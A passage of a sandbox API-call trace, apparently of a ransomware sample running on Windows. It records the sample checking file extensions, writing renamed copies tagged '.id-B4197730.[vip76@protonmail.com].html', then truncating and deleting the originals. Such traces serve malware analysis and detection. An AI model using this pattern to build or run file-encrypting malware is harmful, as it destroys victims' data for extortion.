	[0207.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.456] lstrlenW (lpString=".zip") returned 4
	[0207.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString=".rar") returned 4
	[0207.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString=".bz2") returned 4
	[0207.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.456] lstrlenW (lpString=".7z") returned 3
	[0207.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString=".dbf") returned 4
	[0207.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString=".1cd") returned 4
	[0207.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString=".jpg") returned 4
	[0207.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString=".doc") returned 4
	[0207.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString=".docx") returned 5
	[0207.457] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0207.457] lstrlenW (lpString=".pdf") returned 4
	[0207.457] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString=".xls") returned 4
	[0207.457] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString=".xlsx") returned 5
	[0207.457] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0207.457] lstrlenW (lpString=".ppt") returned 4
	[0207.457] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.457] lstrlenW (lpString=".zip") returned 4
	[0207.457] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString=".rar") returned 4
	[0207.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.457] lstrlenW (lpString=".bz2") returned 4
	[0207.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.457] lstrlenW (lpString=".7z") returned 3
	[0207.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.458] lstrlenW (lpString=".dbf") returned 4
	[0207.458] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.458] lstrlenW (lpString=".1cd") returned 4
	[0207.458] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.458] lstrlenW (lpString=".jpg") returned 4
	[0207.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.458] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0207.458] lstrlenW (lpString="policytool.exe") returned 14
	[0207.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.459] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=16448) returned 1
	[0207.459] CloseHandle (hObject=0x358) returned 1
	[0207.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20
	[0207.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.459] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.459] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0208.021] GetLastError () returned 0x0
	[0208.021] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0208.024] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0208.025] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.025] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0208.025] SetEndOfFile (hFile=0x368) returned 1
	[0208.026] CloseHandle (hObject=0x368) returned 1
	[0208.026] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.026] SetEndOfFile (hFile=0x358) returned 1
	[0208.027] CloseHandle (hObject=0x358) returned 1
	[0208.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.027] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1
	[0208.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString=".doc") returned 4
	[0208.028] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0208.028] lstrlenW (lpString=".docx") returned 5
	[0208.028] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0208.028] lstrlenW (lpString=".pdf") returned 4
	[0208.028] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0208.028] lstrlenW (lpString=".xls") returned 4
	[0208.028] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0208.028] lstrlenW (lpString=".xlsx") returned 5
	[0208.028] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0208.028] lstrlenW (lpString=".ppt") returned 4
	[0208.028] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0208.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString=".zip") returned 4
	[0208.028] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0208.028] lstrlenW (lpString=".rar") returned 4
	[0208.028] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0208.028] lstrlenW (lpString=".bz2") returned 4
	[0208.028] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0208.028] lstrlenW (lpString=".7z") returned 3
	[0208.028] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0208.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString=".dbf") returned 4
	[0208.028] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0208.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString=".1cd") returned 4
	[0208.028] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0208.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.028] lstrlenW (lpString=".jpg") returned 4
	[0208.028] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString=".doc") returned 4
	[0208.029] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0208.029] lstrlenW (lpString=".docx") returned 5
	[0208.029] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0208.029] lstrlenW (lpString=".pdf") returned 4
	[0208.029] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString=".xls") returned 4
	[0208.029] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString=".xlsx") returned 5
	[0208.029] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0208.029] lstrlenW (lpString=".ppt") returned 4
	[0208.029] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString=".zip") returned 4
	[0208.029] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString=".rar") returned 4
	[0208.029] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0208.029] lstrlenW (lpString=".bz2") returned 4
	[0208.029] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0208.029] lstrlenW (lpString=".7z") returned 3
	[0208.029] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString=".dbf") returned 4
	[0208.029] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString=".1cd") returned 4
	[0208.029] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0208.029] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53
	[0208.029] lstrlenW (lpString=".jpg") returned 4
	[0208.030] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0208.030] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0208.030] lstrlenW (lpString="prism_d3d.dll") returned 13
	[0208.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.031] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=130624) returned 1
	[0208.031] CloseHandle (hObject=0x358) returned 1
	[0208.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20
	[0208.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.031] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.031] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.031] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.031] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0208.032] GetLastError () returned 0x0
	[0208.032] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x1fe40, lpOverlapped=0x0) returned 1
	[0208.038] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x1fe50, lpOverlapped=0x0) returned 1
	[0208.041] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.041] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xee, lpOverlapped=0x0) returned 1
	[0208.041] SetEndOfFile (hFile=0x368) returned 1
	[0208.041] CloseHandle (hObject=0x368) returned 1
	[0208.042] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.042] SetEndOfFile (hFile=0x358) returned 1
	[0208.043] CloseHandle (hObject=0x358) returned 1
	[0208.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.043] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1
	[0208.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.044] lstrlenW (lpString=".doc") returned 4
	[0208.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString=".docx") returned 5
	[0208.044] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0208.044] lstrlenW (lpString=".pdf") returned 4
	[0208.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString=".xls") returned 4
	[0208.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString=".xlsx") returned 5
	[0208.044] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0208.044] lstrlenW (lpString=".ppt") returned 4
	[0208.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.044] lstrlenW (lpString=".zip") returned 4
	[0208.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString=".rar") returned 4
	[0208.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.044] lstrlenW (lpString=".bz2") returned 4
	[0208.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.044] lstrlenW (lpString=".7z") returned 3
	[0208.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString=".dbf") returned 4
	[0208.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString=".1cd") returned 4
	[0208.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString=".jpg") returned 4
	[0208.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString=".doc") returned 4
	[0208.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString=".docx") returned 5
	[0208.045] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0208.045] lstrlenW (lpString=".pdf") returned 4
	[0208.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString=".xls") returned 4
	[0208.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString=".xlsx") returned 5
	[0208.045] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0208.045] lstrlenW (lpString=".ppt") returned 4
	[0208.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.045] lstrlenW (lpString=".zip") returned 4
	[0208.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString=".rar") returned 4
	[0208.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.045] lstrlenW (lpString=".bz2") returned 4
	[0208.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.045] lstrlenW (lpString=".7z") returned 3
	[0208.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.046] lstrlenW (lpString=".dbf") returned 4
	[0208.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.046] lstrlenW (lpString=".1cd") returned 4
	[0208.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52
	[0208.046] lstrlenW (lpString=".jpg") returned 4
	[0208.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.046] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0208.046] lstrlenW (lpString="prism_sw.dll") returned 12
	[0208.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.047] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=97856) returned 1
	[0208.047] CloseHandle (hObject=0x358) returned 1
	[0208.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20
	[0208.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0208.047] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.047] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0208.048] GetLastError () returned 0x0
	[0208.048] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x17e40, lpOverlapped=0x0) returned 1
	[0208.053] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x17e50, lpOverlapped=0x0) returned 1
	[0208.055] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.055] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.055] SetEndOfFile (hFile=0x368) returned 1
	[0208.055] CloseHandle (hObject=0x368) returned 1
	[0208.056] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.056] SetEndOfFile (hFile=0x358) returned 1
	[0208.057] CloseHandle (hObject=0x358) returned 1
	[0208.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.057] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1
	[0208.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.058] lstrlenW (lpString=".doc") returned 4
	[0208.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString=".docx") returned 5
	[0208.058] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1
	[0208.058] lstrlenW (lpString=".pdf") returned 4
	[0208.058] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString=".xls") returned 4
	[0208.058] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString=".xlsx") returned 5
	[0208.058] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1
	[0208.058] lstrlenW (lpString=".ppt") returned 4
	[0208.058] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.058] lstrlenW (lpString=".zip") returned 4
	[0208.058] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString=".rar") returned 4
	[0208.058] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.058] lstrlenW (lpString=".bz2") returned 4
	[0208.058] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.058] lstrlenW (lpString=".7z") returned 3
	[0208.058] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.058] lstrlenW (lpString=".dbf") returned 4
	[0208.058] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.059] lstrlenW (lpString=".1cd") returned 4
	[0208.059] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51
	[0208.059] lstrlenW (lpString=".jpg") returned 4
